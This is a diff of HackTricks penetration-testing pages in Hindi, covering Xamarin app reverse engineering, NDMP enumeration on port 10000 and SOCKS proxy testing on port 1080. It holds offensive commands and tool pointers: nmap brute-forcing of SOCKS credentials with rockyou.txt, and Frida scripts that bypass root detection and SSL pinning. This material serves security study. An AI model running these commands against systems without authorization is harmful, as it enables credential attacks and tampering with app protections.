* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
यह ब्लॉग पोस्ट [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers) का सारांश है।
|
यह [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers) ब्लॉग पोस्ट का सारांश है।
|
||||||
|
|
||||||
## **मूल जानकारी**
|
## **बुनियादी जानकारी**
|
||||||
|
|
||||||
Xamarin एक **ओपन-सोर्स प्लेटफ़ॉर्म** है जो डेवलपर्स को **.NET और C# frameworks का उपयोग करके iOS, Android और Windows के लिए ऐप्स बनाने** के लिए डिज़ाइन किया गया है। यह प्लेटफ़ॉर्म मॉडर्न एप्लिकेशन अभिकलन के लिए कई उपकरण और एक्सटेंशन का उपयोग करने की सुविधा प्रदान करता है।
|
Xamarin एक **ओपन-सोर्स प्लेटफॉर्म** है जिसे डेवलपर्स के लिए **iOS, Android, और Windows** के लिए ऐप बनाने के लिए डिज़ाइन किया गया है, जो .NET और C# फ्रेमवर्क का उपयोग करता है। यह प्लेटफॉर्म आधुनिक अनुप्रयोगों को कुशलता से बनाने के लिए कई उपकरणों और एक्सटेंशन तक पहुंच प्रदान करता है।
|
||||||
|
|
||||||
### Xamarin की वास्तुकला
|
### Xamarin की आर्किटेक्चर
|
||||||
|
|
||||||
- **Android** के लिए, Xamarin Android और जावा नेमस्पेस को .NET बाइंडिंग के माध्यम से एकीकृत करता है, जो Android Runtime (ART) के साथ मोनो क्रियान्वयन परिवेश में कार्य करता है। Managed Callable Wrappers (MCW) और Android Callable Wrappers (ACW) Mono और ART के बीच संचार को सुविधाजनक बनाते हैं, जो दोनों लिनक्स कर्नेल पर आधारित हैं।
|
- **Android** के लिए, Xamarin Android और Java नामस्थान के साथ .NET बाइंडिंग के माध्यम से एकीकृत होता है, जो Mono निष्पादन वातावरण में Android Runtime (ART) के साथ काम करता है। Managed Callable Wrappers (MCW) और Android Callable Wrappers (ACW) Mono और ART के बीच संचार को सुविधाजनक बनाते हैं, जो दोनों Linux कर्नेल पर आधारित हैं।
|
||||||
- **iOS** के लिए, एप्लिकेशन मोनो रनटाइम के तहत चलते हैं, C# .NET कोड को ARM असेंबली भाषा में रूपांतरित करने के लिए पूर्ण Ahead of Time (AOT) संकलन का उपयोग करते हैं। यह प्रक्रिया यूनिक्स-जैसे कर्नेल पर Objective-C रनटाइम के साथ चलती है।
|
- **iOS** के लिए, अनुप्रयोग Mono रनटाइम के तहत चलते हैं, जो C# .NET कोड को ARM असेंबली भाषा में परिवर्तित करने के लिए पूर्ण Ahead of Time (AOT) संकलन का उपयोग करते हैं। यह प्रक्रिया UNIX-जैसे कर्नेल पर Objective-C Runtime के साथ चलती है।
|
||||||
|
|
||||||
### .NET रनटाइम और मोनो फ्रेमवर्क
|
### .NET रनटाइम और Mono फ्रेमवर्क
|
||||||
|
|
||||||
**.NET फ्रेमवर्क** एप्लिकेशन विकास के लिए एसेम्ब्ली, क्लास और नेमस्पेस शामिल करता है, जबकि .NET रनटाइम कोड निष्पादन का प्रबंधन करता है। यह प्लेटफ़ॉर्म स्वतंत्रता और पिछली संगतता प्रदान करता है। **मोनो फ्रेमवर्क** एक ओपन-सोर्स संस्करण है जो .NET फ्रेमवर्क को विस्तारित करने के लिए 2005 में प्रारंभ किया गया था, अब माइक्रोसॉफ्ट द्वारा समर्थित है और Xamarin द्वारा नेतृत्व किया जाता है।
|
**.NET फ्रेमवर्क** में अनुप्रयोग विकास के लिए असेंबली, वर्ग और नामस्थान शामिल हैं, जिसमें .NET रनटाइम कोड निष्पादन का प्रबंधन करता है। यह प्लेटफॉर्म स्वतंत्रता और पिछली संगतता प्रदान करता है। **Mono फ्रेमवर्क** .NET फ्रेमवर्क का एक ओपन-सोर्स संस्करण है, जिसे 2005 में Linux के लिए .NET का विस्तार करने के लिए शुरू किया गया था, अब Microsoft द्वारा समर्थित और Xamarin द्वारा संचालित है।
|
||||||
|
|
||||||
### Xamarin ऐप्स का रिवर्स इंजीनियरिंग
|
### Xamarin ऐप्स का रिवर्स इंजीनियरिंग
|
||||||
|
|
||||||
#### Xamarin एसेम्ब्लीज का डीकॉम्पाइलेशन
|
#### Xamarin असेंबली का डिकंपाइल करना
|
||||||
|
|
||||||
डीकॉम्पाइलेशन संकलित कोड को वापस स्रोत कोड में बदलता है। Windows में, Visual Studio के Modules विंडो में मॉड्यूल्स को डीकॉम्पाइल करने के लिए पहचान सकता है, जिससे तीसरे पक्ष कोड तक सीधा पहुंचा जा सकता है और विश्लेषण के लिए स्रोत कोड को निकाला जा सकता है।
|
डिकंपाइलिंग संकलित कोड को फिर से स्रोत कोड में परिवर्तित करती है। Windows में, Visual Studio में Modules विंडो डिकंपाइलिंग के लिए मॉड्यूल की पहचान कर सकती है, जिससे तीसरे पक्ष के कोड तक सीधी पहुंच और विश्लेषण के लिए स्रोत कोड निकालने की अनुमति मिलती है।
|
||||||
|
|
||||||
#### JIT vs AOT संकलन
|
#### JIT बनाम AOT संकलन
|
||||||
|
|
||||||
- **Android** JIT और AOT संकलन का समर्थन करता है, जिसमें श्रेष्ठ निष्पादन गति के लिए हाइब्रिड AOT मोड शामिल है। पूर्ण AOT केवल एंटरप्राइज लाइसेंस के लिए है।
|
- **Android** Just-In-Time (JIT) और Ahead-Of-Time (AOT) संकलन का समर्थन करता है, जिसमें अनुकूल निष्पादन गति के लिए एक हाइब्रिड AOT मोड है। पूर्ण AOT केवल एंटरप्राइज लाइसेंस के लिए विशेष है।
|
||||||
- **iOS** केवल AOT संकलन का उपयोग करता है क्योंकि Apple ने डायनेमिक कोड निष्पादन पर प्रतिबंध लगाया है।
|
- **iOS** केवल AOT संकलन का उपयोग करता है क्योंकि Apple के गतिशील कोड निष्पादन पर प्रतिबंध हैं।
|
||||||
|
|
||||||
### APK/IPA से dll फ़ाइलें निकालना
|
### APK/IPA से dll फ़ाइलें निकालना
|
||||||
|
|
||||||
APK/IPA में एसेम्ब्लीज तक पहुंचने के लिए फ़ाइल को अनज़िप करें और एसेम्ब्लीज निर्देशिका की जांच करें। Android के लिए, [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) और [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) जैसे उपकरण dll फ़ाइलों को अनज़िप कर सकते हैं।
|
APK/IPA में असेंबली तक पहुंचने के लिए, फ़ाइल को अनज़िप करें और असेंबली निर्देशिका का अन्वेषण करें। Android के लिए, [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) और [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) जैसे उपकरण dll फ़ाइलों को अनकंप्रेस कर सकते हैं।
|
||||||
```bash
|
```bash
|
||||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||||
```
|
```
|
||||||
Android में एसेम्बली ब्लॉब्स के लिए, [pyxamstore](https://github.com/jakev/pyxamstore) उन्हें अनपैक कर सकता है।
|
Android में assembly blobs के लिए, [pyxamstore](https://github.com/jakev/pyxamstore) उन्हें अनपैक कर सकता है।
|
||||||
```bash
|
```bash
|
||||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||||
```
|
```
|
||||||
iOS dll फ़ाइलें आसानी से डीकॉम्पाइलेशन के लिए उपलब्ध होती हैं, जो अनुप्रयोग कोड के महत्वपूर्ण हिस्से उजागर करती हैं, जो अक्सर विभिन्न प्लेटफ़ॉर्मों पर एक सामान्य आधार को साझा करता है।
|
iOS dll फ़ाइलें डिकंपाइल के लिए आसानी से उपलब्ध हैं, जो एप्लिकेशन कोड के महत्वपूर्ण हिस्सों को प्रकट करती हैं, जो अक्सर विभिन्न प्लेटफार्मों में एक सामान्य आधार साझा करती हैं।
|
||||||
|
|
||||||
### गतिशील विश्लेषण
|
### डायनामिक एनालिसिस
|
||||||
|
|
||||||
गतिशील विश्लेषण में SSL पिनिंग की जांच और Xamarin ऐप्स में .NET बाइनरी के रनटाइम संशोधन के लिए [Fridax](https://github.com/NorthwaveSecurity/fridax) जैसे उपकरणों का उपयोग किया जाता है। Frida स्क्रिप्ट्स उपलब्ध हैं जो रूट का पता लगाने या SSL पिनिंग को दुरुस्त करने में मदद करते हैं, विश्लेषण क्षमताओं को बढ़ाते हैं।
|
डायनामिक एनालिसिस में SSL पिनिंग की जांच करना और Xamarin ऐप्स में .NET बाइनरी के रनटाइम संशोधनों के लिए [Fridax](https://github.com/NorthwaveSecurity/fridax) जैसे टूल का उपयोग करना शामिल है। रूट डिटेक्शन या SSL पिनिंग को बायपास करने के लिए Frida स्क्रिप्ट उपलब्ध हैं, जो विश्लेषण क्षमताओं को बढ़ाती हैं।
|
||||||
|
|
||||||
अन्य दिलचस्प Frida स्क्रिप्ट्स:
|
अन्य दिलचस्प Frida स्क्रिप्ट:
|
||||||
|
|
||||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||||
|
|
||||||
|
|
||||||
## अधिक जानकारी
|
## आगे की जानकारी
|
||||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** हैकिंग ट्रिक्स को **HackTricks** और **HackTricks Cloud** github रेपो में PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,49 +1,51 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# **प्रोटोकॉल सूचना**
|
# **प्रोटोकॉल जानकारी**
|
||||||
|
|
||||||
[Wikipedia](https://en.wikipedia.org/wiki/NDMP) से:
|
From [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
||||||
|
|
||||||
> **NDMP**, या **नेटवर्क डेटा प्रबंधन प्रोटोकॉल**, एक प्रोटोकॉल है जो नेटवर्क एटैच्ड स्टोरेज \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) डिवाइस और [बैकअप](https://en.wikipedia.org/wiki/Backup) डिवाइस के बीच डेटा परिवहन के लिए है। इससे बैकअप सर्वर के माध्यम से डेटा परिवहन की आवश्यकता को हटा दिया जाता है, जिससे गति में सुधार होता है और बैकअप सर्वर से भार हटाया जाता है।
|
> **NDMP**, या **नेटवर्क डेटा प्रबंधन प्रोटोकॉल**, एक प्रोटोकॉल है जिसका उद्देश्य नेटवर्क अटैच्ड स्टोरेज \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) उपकरणों और [बैकअप](https://en.wikipedia.org/wiki/Backup) उपकरणों के बीच डेटा को परिवहन करना है। यह बैकअप सर्वर के माध्यम से डेटा को परिवहन करने की आवश्यकता को समाप्त करता है, इस प्रकार गति को बढ़ाता है और बैकअप सर्वर से लोड को हटाता है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 10000
|
**डिफ़ॉल्ट पोर्ट:** 10000
|
||||||
```text
|
```text
|
||||||
PORT STATE SERVICE REASON VERSION
|
PORT STATE SERVICE REASON VERSION
|
||||||
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
|
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
|
||||||
```
|
```
|
||||||
# **जांच**
|
# **सूचीकरण**
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
|
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
|
||||||
```
|
```
|
||||||
## शोडन
|
## Shodan
|
||||||
|
|
||||||
`ndmp`
|
`ndmp`
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
हैकट्रिक्स का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी हैकट्रिक्स में विज्ञापित हो** या **हैकट्रिक्स को पीडीएफ में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में पीआर जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,38 +1,39 @@
|
||||||
# 1080 - पेंटेस्टिंग सॉक्स
|
# 1080 - Pentesting Socks
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
**SOCKS** एक प्रोटोकॉल है जिसका उपयोग क्लाइंट और सर्वर के बीच डेटा स्थानांतरित करने के लिए प्रॉक्सी के माध्यम से किया जाता है। पांचवां संस्करण, **SOCKS5**, एक वैकल्पिक प्रमाणीकरण सुविधा जोड़ता है, जिससे केवल अधिकृत उपयोगकर्ताओं को सर्वर तक पहुंचने की अनुमति होती है। यह मुख्य रूप से TCP कनेक्शनों का प्रॉक्सीकरण और UDP पैकेटों का अग्रेषण संभालता है, OSI मॉडल के सत्र स्तर (लेयर 5) पर काम करता है।
|
**SOCKS** एक प्रोटोकॉल है जिसका उपयोग क्लाइंट और सर्वर के बीच डेटा को प्रॉक्सी के माध्यम से स्थानांतरित करने के लिए किया जाता है। इसका पांचवां संस्करण, **SOCKS5**, एक वैकल्पिक प्रमाणीकरण सुविधा जोड़ता है, जो केवल अधिकृत उपयोगकर्ताओं को सर्वर तक पहुँचने की अनुमति देता है। यह मुख्य रूप से TCP कनेक्शनों की प्रॉक्सी और UDP पैकेटों के अग्रेषण को संभालता है, जो OSI मॉडल के सत्र परत (लेयर 5) पर कार्य करता है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 1080
|
**डिफ़ॉल्ट पोर्ट:** 1080
|
||||||
|
|
||||||
## जांच
|
## Enumeration
|
||||||
|
|
||||||
### प्रमाणीकरण जांच
|
### Authentication Check
|
||||||
```bash
|
```bash
|
||||||
nmap -p 1080 <ip> --script socks-auth-info
|
nmap -p 1080 <ip> --script socks-auth-info
|
||||||
```
|
```
|
||||||
### ब्रूट फोर्स
|
### Brute Force
|
||||||
|
|
||||||
#### मूल उपयोग
|
#### मूल उपयोग
|
||||||
```bash
|
```bash
|
||||||
nmap --script socks-brute -p 1080 <ip>
|
nmap --script socks-brute -p 1080 <ip>
|
||||||
```
|
```
|
||||||
#### उन्नत प्रयोग
|
#### उन्नत उपयोग
|
||||||
```bash
|
```bash
|
||||||
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
||||||
```
|
```
|
||||||
|
@ -48,33 +49,33 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
## टनलिंग और पोर्ट फॉरवर्डिंग
|
## टनलिंग और पोर्ट फॉरवर्डिंग
|
||||||
|
|
||||||
### बुनियादी प्रॉक्सीचेन्स का उपयोग
|
### बेसिक प्रॉक्सीचेन का उपयोग
|
||||||
|
|
||||||
सॉक्स प्रॉक्सी का उपयोग करने के लिए प्रॉक्सीचेन्स को सेटअप करें
|
सॉक्स प्रॉक्सी का उपयोग करने के लिए प्रॉक्सी चेन सेटअप करें
|
||||||
```
|
```
|
||||||
nano /etc/proxychains4.conf
|
nano /etc/proxychains4.conf
|
||||||
```
|
```
|
||||||
अपना प्रॉक्सी जोड़ें: 127.0.0.1:9050
|
Edit the bottom and add your proxy
|
||||||
```
|
```
|
||||||
socks5 10.10.10.10 1080
|
socks5 10.10.10.10 1080
|
||||||
```
|
```
|
||||||
**With auth**
|
With auth
|
||||||
**साथ प्रमाणीकरण के साथ**
|
|
||||||
```
|
```
|
||||||
socks5 10.10.10.10 1080 username password
|
socks5 10.10.10.10 1080 username password
|
||||||
```
|
```
|
||||||
#### अधिक जानकारी: [टनलिंग और पोर्ट फॉरवर्डिंग](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
#### अधिक जानकारी: [टनलिंग और पोर्ट फॉरवर्डिंग](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और प्रैक्टिस करें AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और प्रैक्टिस करें GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
